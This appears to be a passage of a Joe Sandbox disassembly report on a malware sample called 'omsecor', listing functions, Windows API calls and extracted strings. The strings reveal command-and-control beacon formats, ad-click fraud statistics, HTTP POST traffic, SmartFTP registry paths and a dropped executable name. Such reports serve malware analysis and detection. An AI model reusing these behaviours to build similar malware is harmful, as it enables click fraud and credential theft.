Opcode ID: c25fc9fce4e3a5af282b7e8b70485abd1f5e468527c2347077a4c4f87a84cc63
Instruction ID: c36137c4092f7a01c2c9ac5e3109157182881aca1e17db191de13133e2ad13bf
Opcode Fuzzy Hash: c25fc9fce4e3a5af282b7e8b70485abd1f5e468527c2347077a4c4f87a84cc63
Instruction Fuzzy Hash: D521D876600218A6DB61AB59CC41BDB33E4FB44794F14407FE508B32C2EB785E4D4F99

Function 0040AC93 Relevance: 12.1, APIs: 3, Strings: 5, Instructions: 105sleepCOMMON

Download Yara Rule

APIs

Part of subcall function 00406D14: InternetAttemptConnect.WININET(00000000), ref: 00406D18

Sleep.KERNEL32(00002710,00000000,00000400,00000000), ref: 0040ACAE
Sleep.KERNEL32(0000EA60), ref: 0040AD76
Sleep.KERNEL32(00002710), ref: 0040ADA4

Strings

d, xrefs: 0040ADB6
hOA, xrefs: 0040ACC0
job^rev=%s^os=%s, xrefs: 0040ACDB
0, xrefs: 0040AD12
^rcn=1, xrefs: 0040AD37

Memory Dump Source

Source File: 0000000B.00000002.2497881847.0000000000409000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000B.00000002.2497825310.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000B.00000002.2497881847.0000000000405000.00000020.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000B.00000002.2497949391.000000000040E000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000B.00000002.2498007189.0000000000411000.00000004.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_400000_omsecor.jbxd

Similarity

API ID: Sleep$AttemptConnectInternet
String ID: 0$^rcn=1$d$hOA$job^rev=%s^os=%s
API String ID: 362191241-2593661552
Opcode ID: c6d12f3f342631a53f4ba21eed34aabb8925de89328c1543a1445e18d084db7e
Instruction ID: b79182b1151443badf469ae5f9ae195c128285790c89deda34db11c37ea10ffc
Opcode Fuzzy Hash: c6d12f3f342631a53f4ba21eed34aabb8925de89328c1543a1445e18d084db7e
Instruction Fuzzy Hash: 0531C471D00208ABCF20ABA6DC859AE77BAEF80309F10847BE505B72C1DA7849558B5B

Function 0040D790 Relevance: 10.8, APIs: 7, Instructions: 275COMMONLIBRARYCODE

Download Yara Rule

APIs

_ValidateScopeTableHandlers.LIBCMT ref: 0040D892
__FindPESection.LIBCMT ref: 0040D8AC

Memory Dump Source

Source File: 0000000B.00000002.2497881847.0000000000409000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000B.00000002.2497825310.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000B.00000002.2497881847.0000000000405000.00000020.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000B.00000002.2497949391.000000000040E000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000B.00000002.2498007189.0000000000411000.00000004.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_400000_omsecor.jbxd

Similarity

API ID: FindHandlersScopeSectionTableValidate
String ID:
API String ID: 876702719-0
Opcode ID: 534d7b056b49e296d3a3fc6e9a3ba6c277fd5c62c59754af54bacd0a8e696194
Instruction ID: 4070355c3de93ac57746f54d9fb9ba92a54bad1974282013f33c457a7dad05b0
Opcode Fuzzy Hash: 534d7b056b49e296d3a3fc6e9a3ba6c277fd5c62c59754af54bacd0a8e696194
Instruction Fuzzy Hash: 96A1C172F042158BCB24CF98D981B6E77B1EB84314F56813AD815A73D0DB39AC49CB9D

Function 004094B6 Relevance: 10.6, APIs: 7, Instructions: 81COMMON

Download Yara Rule

APIs

SysFreeString.OLEAUT32(?), ref: 004094E6

Memory Dump Source

Source File: 0000000B.00000002.2497881847.0000000000409000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000B.00000002.2497825310.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000B.00000002.2497881847.0000000000405000.00000020.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000B.00000002.2497949391.000000000040E000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000B.00000002.2498007189.0000000000411000.00000004.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_400000_omsecor.jbxd

Similarity

API ID: FreeString
String ID:
API String ID: 3341692771-0
Opcode ID: 99a964074df9a43e7876bfa78059f63c2205d652b6a4e0ea0b2e4f8e9ecac31d
Instruction ID: b8745a711dcf8da59f3798694fa3079dcf63c40c9cdbadd59c4d39193402e254
Opcode Fuzzy Hash: 99a964074df9a43e7876bfa78059f63c2205d652b6a4e0ea0b2e4f8e9ecac31d
Instruction Fuzzy Hash: C9214832A00108BBDB01DFAADC44B9E7BB8EF48345F1484B6E805F71A1D774AE41DB84

Function 00409A99 Relevance: 10.5, APIs: 2, Strings: 4, Instructions: 43memoryCOMMON

Download Yara Rule

APIs

SysAllocString.OLEAUT32(?), ref: 00409B00
SysAllocString.OLEAUT32(?), ref: 00409B0E

Strings

<url>, xrefs: 00409AD1
<title>, xrefs: 00409AAC
</title>, xrefs: 00409AA7
</url>, xrefs: 00409ACC

Memory Dump Source

Source File: 0000000B.00000002.2497881847.0000000000409000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000B.00000002.2497825310.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000B.00000002.2497881847.0000000000405000.00000020.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000B.00000002.2497949391.000000000040E000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000B.00000002.2498007189.0000000000411000.00000004.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_400000_omsecor.jbxd

Similarity

API ID: AllocString
String ID: </title>$</url>$<title>$<url>
API String ID: 2525500382-2286408829
Opcode ID: c58bfd32acaee4a5c903d43745ebae325062404d958fadf76014dbdfc3d1efc4
Instruction ID: e94fff7a9c4556839c155ffec7726d55edf757161a42396596b5093e86978141
Opcode Fuzzy Hash: c58bfd32acaee4a5c903d43745ebae325062404d958fadf76014dbdfc3d1efc4
Instruction Fuzzy Hash: 4F01DB7564021CA7DB116A55CC41FD637A8BB44799F044077FA04F32C3E978AA0C4BA4

Function 0040A8F9 Relevance: 9.2, APIs: 4, Strings: 2, Instructions: 161sleepmemoryCOMMON

Download Yara Rule

APIs

Part of subcall function 00406D14: InternetAttemptConnect.WININET(00000000), ref: 00406D18

Sleep.KERNEL32(00002710), ref: 0040A91C
Sleep.KERNEL32(00002710), ref: 0040AAC1
GetProcessHeap.KERNEL32(00000000,?), ref: 0040AAE9
HeapFree.KERNEL32(00000000), ref: 0040AAF0

Strings

jstat^rev=%s^code=%s^site=%s^searches=%s^clicks=%s^adver=%s^os=%s, xrefs: 0040A957
0, xrefs: 0040AA5B

Memory Dump Source

Source File: 0000000B.00000002.2497881847.0000000000409000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000B.00000002.2497825310.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000B.00000002.2497881847.0000000000405000.00000020.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000B.00000002.2497949391.000000000040E000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000B.00000002.2498007189.0000000000411000.00000004.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_400000_omsecor.jbxd

Similarity

API ID: HeapSleep$AttemptConnectFreeInternetProcess
String ID: 0$jstat^rev=%s^code=%s^site=%s^searches=%s^clicks=%s^adver=%s^os=%s
API String ID: 3713053250-1268808612
Opcode ID: 9ba27d41419271b0192402f6c87428b96ec0abdecb4ecd520169770693f9ee02
Instruction ID: cb73c9a78e41fc00613c6eff30345c36a412e41c8c720ed22b53be089701fd16
Opcode Fuzzy Hash: 9ba27d41419271b0192402f6c87428b96ec0abdecb4ecd520169770693f9ee02
Instruction Fuzzy Hash: 88515072A00218A6CF10EB95DC959DF737DEF44308F40447BF406B7281EB789A958FAA

Function 00409000 Relevance: 9.1, APIs: 6, Instructions: 95COMMON

Download Yara Rule

APIs

SysFreeString.OLEAUT32(?), ref: 00409046

Memory Dump Source

Source File: 0000000B.00000002.2497881847.0000000000409000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000B.00000002.2497825310.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000B.00000002.2497881847.0000000000405000.00000020.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000B.00000002.2497949391.000000000040E000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000B.00000002.2498007189.0000000000411000.00000004.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_400000_omsecor.jbxd

Similarity

API ID: FreeString
String ID:
API String ID: 3341692771-0
Opcode ID: 8978318f5479d9c6a2128e97229e25f0ab853f53a681c81c746c7dd648e69de9
Instruction ID: 72e70a91572158687df8678bea7e51b1bbf589372677d733e04197d71cfd8d58
Opcode Fuzzy Hash: 8978318f5479d9c6a2128e97229e25f0ab853f53a681c81c746c7dd648e69de9
Instruction Fuzzy Hash: 0B41AE70600216EFDB10DF94C9885AD7BB2FB48309F2048BED581B7251C77A6E92DF08

Function 00407499 Relevance: 9.1, APIs: 6, Instructions: 62timeCOMMON

Download Yara Rule

APIs

GetLocalTime.KERNEL32(?), ref: 004074AD
GetLocalTime.KERNEL32(?), ref: 004074B3
GetTimeZoneInformation.KERNEL32(?), ref: 004074EA
SystemTimeToFileTime.KERNEL32(000007D8,?), ref: 00407525
SystemTimeToFileTime.KERNEL32(000007D8,?), ref: 0040752F
__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 0040754A

Memory Dump Source

Source File: 0000000B.00000002.2497881847.0000000000405000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000B.00000002.2497825310.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000B.00000002.2497881847.0000000000409000.00000020.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000B.00000002.2497949391.000000000040E000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000B.00000002.2498007189.0000000000411000.00000004.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_400000_omsecor.jbxd

Similarity

API ID: Time$FileLocalSystem$InformationUnothrow_t@std@@@Zone__ehfuncinfo$??2@
String ID:
API String ID: 3777474486-0
Opcode ID: bce84979032c395480666c2d60b9174811821601ee86a2001902def64962fbd3
Instruction ID: c9ff0a62426275c5a0d4f0aa0fa2549fa158b312224671bef63f429b7f92df75
Opcode Fuzzy Hash: bce84979032c395480666c2d60b9174811821601ee86a2001902def64962fbd3
Instruction Fuzzy Hash: 03112C72D1022DAADF00EBD4DC44AEEB7FCBF48314F04445AE901B7240E7B9A608CBA5

Function 00409DF4 Relevance: 8.9, APIs: 4, Strings: 1, Instructions: 110networkfileCOMMON

Download Yara Rule

APIs

InternetConnectW.WININET(?,00000050,00000000,00000000,00000003,00000000,00000000,?), ref: 00409EA3
HttpOpenRequestW.WININET(00000000,POST,04400100,00000000,00000000,00000000,04400100,00000000), ref: 00409EC3
HttpSendRequestW.WININET(00000000,00000000,00000000,?,?), ref: 00409EDA
InternetReadFile.WININET(00000000,?,00001000,?), ref: 00409F00

Strings

POST, xrefs: 00409EBD

Memory Dump Source

Source File: 0000000B.00000002.2497881847.0000000000409000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000B.00000002.2497825310.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000B.00000002.2497881847.0000000000405000.00000020.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000B.00000002.2497949391.000000000040E000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000B.00000002.2498007189.0000000000411000.00000004.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_400000_omsecor.jbxd

Similarity

API ID: HttpInternetRequest$ConnectFileOpenReadSend
String ID: POST
API String ID: 961146071-1814004025
Opcode ID: b231c6d6edeafd2a36d4afe3665cd665c01720833af24f413fd8087ba7bf51f5
Instruction ID: 440a75f1c6cd1a7483e62584c22426b42aa3ce760e55699d8a89a0e8c7b72afb
Opcode Fuzzy Hash: b231c6d6edeafd2a36d4afe3665cd665c01720833af24f413fd8087ba7bf51f5
Instruction Fuzzy Hash: B8318E71900119BFDB10DBA4DC84EFE7679EB54349F14087AFA41B62C2D6385E448BA8

Function 00405136 Relevance: 8.8, APIs: 1, Strings: 4, Instructions: 79COMMON

Download Yara Rule

APIs

ExpandEnvironmentStringsW.KERNEL32(?,?,00000104), ref: 004051EB

Strings

SOFTWARE\smartftp\client 2.0\settings\backup, xrefs: 00405168
folder, xrefs: 00405184
SOFTWARE\smartftp\client 2.0\settings\general\favorites, xrefs: 00405157
personal favorites, xrefs: 00405176

Memory Dump Source

Source File: 0000000B.00000002.2497881847.0000000000405000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000B.00000002.2497825310.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000B.00000002.2497881847.0000000000409000.00000020.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000B.00000002.2497949391.000000000040E000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000B.00000002.2498007189.0000000000411000.00000004.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_400000_omsecor.jbxd

Similarity

API ID: EnvironmentExpandStrings
String ID: SOFTWARE\smartftp\client 2.0\settings\backup$SOFTWARE\smartftp\client 2.0\settings\general\favorites$folder$personal favorites
API String ID: 237503144-821743658
Opcode ID: d403c6e0ff69697be521eaf543c14185a1ab81bd096a87ce139bc0f4ede75b67
Instruction ID: 0454e2dbaba930a1c05830d090df37f1eb9a44f33d61805f8e12f109ce5a2445
Opcode Fuzzy Hash: d403c6e0ff69697be521eaf543c14185a1ab81bd096a87ce139bc0f4ede75b67
Instruction Fuzzy Hash: 21213E71D00518ABDB10EB95DC41ADFB7BCEB44318F1084B7E514B2181EB389B49CFA9

Function 0040A0B5 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 69COMMON

Download Yara Rule

APIs

CoInitialize.OLE32(00000000), ref: 0040A0C0
GetModuleHandleW.KERNEL32(00000000,00000000), ref: 0040A0CE
CreateWindowExW.USER32(00000000,AtlAxWin,Shell.Explorer,80000000,00000000,00000000,000004B0,00000320,00000000,00000000,00000000), ref: 0040A0F3

Strings

Shell.Explorer, xrefs: 0040A0E8
AtlAxWin, xrefs: 0040A0ED

Memory Dump Source

Source File: 0000000B.00000002.2497881847.0000000000409000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000B.00000002.2497825310.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000B.00000002.2497881847.0000000000405000.00000020.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000B.00000002.2497949391.000000000040E000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000B.00000002.2498007189.0000000000411000.00000004.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_400000_omsecor.jbxd

Similarity

API ID: CreateHandleInitializeModuleWindow
String ID: AtlAxWin$Shell.Explorer
API String ID: 950422046-1300462704
Opcode ID: e9b6661190c81bdf072f7cb3f1dc159ab5559684b807faa4a04e62d0e94038f2
Instruction ID: 8885d0d040d3ab3e1edd42f45155a7fe84e7bff231f75e8e802cb7627400a982
Opcode Fuzzy Hash: e9b6661190c81bdf072f7cb3f1dc159ab5559684b807faa4a04e62d0e94038f2
Instruction Fuzzy Hash: 78118F30200200FFD320ABA6CC4CE6B7BBCEFCA711B240579F515EB291D7789801CA65

Function 00407267 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 53timeCOMMON

Download Yara Rule

APIs

GetSystemTime.KERNEL32(?,?,000003E8,?,?,?,?,?,?,?,?,?,?,?,00407B63,?), ref: 0040727C
SystemTimeToFileTime.KERNEL32(?,?,?,000003E8,?), ref: 004072C1
SystemTimeToFileTime.KERNEL32(000007B2,?), ref: 004072CB
__aulldiv.LIBCMT ref: 004072E3

Strings

c{@, xrefs: 004072D3

Memory Dump Source

Source File: 0000000B.00000002.2497881847.0000000000405000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000B.00000002.2497825310.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000B.00000002.2497881847.0000000000409000.00000020.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000B.00000002.2497949391.000000000040E000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000B.00000002.2498007189.0000000000411000.00000004.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_400000_omsecor.jbxd

Similarity

API ID: Time$System$File$__aulldiv
String ID: c{@
API String ID: 3735792614-264719814
Opcode ID: a145c05d1847671377470c3096bfc685d9fda3d476ef25e64420ea8c3ac11d0d
Instruction ID: ef19eb4ac8525f4bf2260e0142840e6d018c3cac6eb9bd4f47b1f5cd165e8a78
Opcode Fuzzy Hash: a145c05d1847671377470c3096bfc685d9fda3d476ef25e64420ea8c3ac11d0d
Instruction Fuzzy Hash: D401DE62D1022DAACB01DFE4D984CEFB77DFF44348B00156AE901F7250E7B5AA4887A5

Function 0040AB7C Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 30COMMON

Download Yara Rule

APIs

GetModuleFileNameW.KERNEL32(00000000,?,00000400), ref: 0040AB93
CharLowerW.USER32(?), ref: 0040ABA0
GetCommandLineW.KERNEL32 ref: 0040ABC0

Strings

/updatefile3, xrefs: 0040ABC6
netprotdrvss.exe, xrefs: 0040ABA6

Memory Dump Source

Source File: 0000000B.00000002.2497881847.0000000000409000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000B.00000002.2497825310.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000B.00000002.2497881847.0000000000405000.00000020.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000B.00000002.2497949391.000000000040E000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000B.00000002.2498007189.0000000000411000.00000004.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_400000_omsecor.jbxd

Similarity

API ID: CharCommandFileLineLowerModuleName
String ID: /updatefile3$netprotdrvss.exe
API String ID: 3118597399-3449771660
Opcode ID: a9092c2346d55b23f20d8634028d89874de2ded0d1b8197c9b1551ea588aa001
Instruction ID: 1eba2a713c21f7c79877a49aa3ec6850c44e44909145826ab611dd80b60fa5a6
Opcode Fuzzy Hash: a9092c2346d55b23f20d8634028d89874de2ded0d1b8197c9b1551ea588aa001
Instruction Fuzzy Hash: 41E09B3655021A5AD750FBB1DD07BA633ACFB01705F1049B6A246F10C0EE74D55D4F9D

Function 0040A245 Relevance: 7.6, APIs: 5, Instructions: 61memoryCOMMON

Download Yara Rule

APIs

_memset.LIBCMT ref: 0040A26B
SysAllocString.OLEAUT32(?), ref: 0040A28E
SysAllocString.OLEAUT32(?), ref: 0040A296
SysFreeString.OLEAUT32(00000000), ref: 0040A2CA
SysFreeString.OLEAUT32(?), ref: 0040A2CF

Part of subcall function 00409FB1: GetTickCount.KERNEL32 ref: 00409FCE
Part of subcall function 00409FB1: GetTickCount.KERNEL32 ref: 00409FDE
Part of subcall function 00409FB1: Sleep.KERNEL32(00000064), ref: 00409FEC
Part of subcall function 00409FB1: PeekMessageW.USER32(?,00000000,00000000,00000000,00000001), ref: 00409FFB
Part of subcall function 00409FB1: DispatchMessageW.USER32(?), ref: 0040A009

Memory Dump Source

Source File: 0000000B.00000002.2497881847.0000000000409000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000B.00000002.2497825310.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000B.00000002.2497881847.0000000000405000.00000020.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000B.00000002.2497949391.000000000040E000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000B.00000002.2498007189.0000000000411000.00000004.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_400000_omsecor.jbxd

Similarity

API ID: String$AllocCountFreeMessageTick$DispatchPeekSleep_memset
String ID:
API String ID: 3143865713-0
Opcode ID: 68495801366515c75ff4f7091ec1779cfaae467043e456767ef3efc9e03748a3
Instruction ID: bfa1c3e5fdaec5be4dfb18607c12502589e7fd5433bac8caf4aacda455aa0499
Opcode Fuzzy Hash: 68495801366515c75ff4f7091ec1779cfaae467043e456767ef3efc9e03748a3
Instruction Fuzzy Hash: 3A118F72D10219ABCB00DFA9DD448DEBBB9FF08354B11456AF415B7290E770AE14CFA4

Function 00409FB1 Relevance: 7.6, APIs: 5, Instructions: 53windowsleepCOMMON

Download Yara Rule

APIs

GetTickCount.KERNEL32 ref: 00409FCE
GetTickCount.KERNEL32 ref: 00409FDE
Sleep.KERNEL32(00000064), ref: 00409FEC
PeekMessageW.USER32(?,00000000,00000000,00000000,00000001), ref: 00409FFB
DispatchMessageW.USER32(?), ref: 0040A009

Memory Dump Source

Source File: 0000000B.00000002.2497881847.0000000000409000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000B.00000002.2497825310.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000B.00000002.2497881847.0000000000405000.00000020.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000B.00000002.2497949391.000000000040E000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000B.00000002.2498007189.0000000000411000.00000004.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_400000_omsecor.jbxd

Similarity

API ID: CountMessageTick$DispatchPeekSleep
String ID:
API String ID: 4159783438-0
Opcode ID: 45312298ad5970842c5ee584b14830e042aefe59ca6bdbaf3830585a06b866aa
Instruction ID: c0dc46c0c87f7bc49602bd7d2efae9f565a6f52602c3eafe7569a8fa2f6b8eea
Opcode Fuzzy Hash: 45312298ad5970842c5ee584b14830e042aefe59ca6bdbaf3830585a06b866aa
Instruction Fuzzy Hash: 3F118671D103199ECB10AFF5CC8899F7BB9BB45314B144A7AE161F71E0C778CA118B1A

Function 00409F2B Relevance: 7.5, APIs: 5, Instructions: 40windowsleepCOMMON

Download Yara Rule

APIs

GetTickCount.KERNEL32 ref: 00409F5B
GetTickCount.KERNEL32 ref: 00409F5F
PeekMessageW.USER32(?,00000000,00000000,00000000,00000001), ref: 00409F72
DispatchMessageW.USER32(?), ref: 00409F80
Sleep.KERNEL32(0000012C), ref: 00409F8D

Memory Dump Source

Source File: 0000000B.00000002.2497881847.0000000000409000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000B.00000002.2497825310.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000B.00000002.2497881847.0000000000405000.00000020.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000B.00000002.2497949391.000000000040E000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000B.00000002.2498007189.0000000000411000.00000004.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_400000_omsecor.jbxd

Similarity

API ID: CountMessageTick$DispatchPeekSleep
String ID:
API String ID: 4159783438-0
Opcode ID: ab27e8fd20f0983608bc295b19996ec13099b56f87bcdccced181fb1a6008d05
Instruction ID: 2f378a1af0056e794f94b22e0cd08b0b0b180d2e60cd5d2ebdc62f673b65dbb1
Opcode Fuzzy Hash: ab27e8fd20f0983608bc295b19996ec13099b56f87bcdccced181fb1a6008d05
Instruction Fuzzy Hash: D1F0C872D042149BD714B7F2DD09B7D76A89B45714F104A36F551F70D1CA7CCD148A58

Function 00407D61 Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 81fileCOMMON

Download Yara Rule

APIs

SetFilePointer.KERNEL32(00414F68,00000000,00000000,00000000,UniqueNum,00000001), ref: 00407E09
WriteFile.KERNEL32(00000078,00000064,00000001,00000000), ref: 00407E20

Part of subcall function 00407CD7: GetModuleFileNameW.KERNEL32(00000000,?,00001000,00000000,00000000,?,00407E44,00000001,UniqueNum), ref: 00407CF6
Part of subcall function 00407CD7: CreateFileW.KERNEL32(?,C0000000,00000000,00000000,00000004,00000002,00000000,?,00407E44,00000001,UniqueNum), ref: 00407D48

Strings

UniqueNum, xrefs: 00407D86
x, xrefs: 00407DEF

Memory Dump Source

Source File: 0000000B.00000002.2497881847.0000000000405000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000B.00000002.2497825310.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000B.00000002.2497881847.0000000000409000.00000020.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000B.00000002.2497949391.000000000040E000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000B.00000002.2498007189.0000000000411000.00000004.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_400000_omsecor.jbxd

Similarity

API ID: File$CreateModuleNamePointerWrite
String ID: UniqueNum$x
API String ID: 594998759-2399716736
Opcode ID: 0d1cac2645660f3edc8ae4858b9aa10093ebf6a3be27c46c4cc389029dd9494e
Instruction ID: 8c5cde1ed6458afa5e70834db293a7f07ca8c6efd1b8e13f0da2095665a79c5a
Opcode Fuzzy Hash: 0d1cac2645660f3edc8ae4858b9aa10093ebf6a3be27c46c4cc389029dd9494e
Instruction Fuzzy Hash: F72129329002186BDF04AB74ED49DDF3B69EF44315F104636FA02E71E1E634D951C799

Function 00409445 Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 51COMMON

Download Yara Rule

APIs

SysFreeString.OLEAUT32(?), ref: 004094A9
SysFreeString.OLEAUT32(?), ref: 004094AE

Strings

an.yandex.ru/count, xrefs: 00409478
_blank, xrefs: 0040948E

Memory Dump Source

Source File: 0000000B.00000002.2497881847.0000000000409000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000B.00000002.2497825310.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000B.00000002.2497881847.0000000000405000.00000020.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000B.00000002.2497949391.000000000040E000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000B.00000002.2498007189.0000000000411000.00000004.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_400000_omsecor.jbxd

Similarity

API ID: FreeString
String ID: _blank$an.yandex.ru/count
API String ID: 3341692771-25359924
Opcode ID: 4ab6eb577aae85ed23f24708000ea2df93b57f18851f250654f87edd31753785
Instruction ID: 1eacecae91598e8b756cf85833a4a3bbf756f1dfdfc5fa02fd6c22f827bf3b29
Opcode Fuzzy Hash: 4ab6eb577aae85ed23f24708000ea2df93b57f18851f250654f87edd31753785
Instruction Fuzzy Hash: 28015A35204114BBDB109FA6CD05D9B77A8EF85324724443BBC15E7291E779EE02CA69

Function 00409808 Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 43memoryCOMMON

Download Yara Rule

APIs

SysAllocString.OLEAUT32(?), ref: 00409868
SysAllocString.OLEAUT32(?), ref: 00409876

Strings

"encrypted", xrefs: 00409815
"URL", xrefs: 00409838

Memory Dump Source

Source File: 0000000B.00000002.2497881847.0000000000409000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000B.00000002.2497825310.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000B.00000002.2497881847.0000000000405000.00000020.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000B.00000002.2497949391.000000000040E000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000B.00000002.2498007189.0000000000411000.00000004.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_400000_omsecor.jbxd

Similarity

API ID: AllocString
String ID: "URL"$"encrypted"
API String ID: 2525500382-4151690107
Opcode ID: f6e867073f93e28a707ce71cee5b1d0d556dab41e30d3c647449298916898aec
Instruction ID: 961e294ab5ae80d7ab2f0271a6faa46f3ea3f555f1d55132cdad114d364c87da
Opcode Fuzzy Hash: f6e867073f93e28a707ce71cee5b1d0d556dab41e30d3c647449298916898aec
Instruction Fuzzy Hash: 62F0D671A0021DA7CF00AB69CC01FD637ECAB4438CF1484B6F904F32C1E974EA098B98

Function 0040978D Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 43memoryCOMMON

Download Yara Rule

APIs

SysAllocString.OLEAUT32(?), ref: 004097ED
SysAllocString.OLEAUT32(?), ref: 004097FB

Strings

"url", xrefs: 0040979A
"domain", xrefs: 004097BD

Memory Dump Source

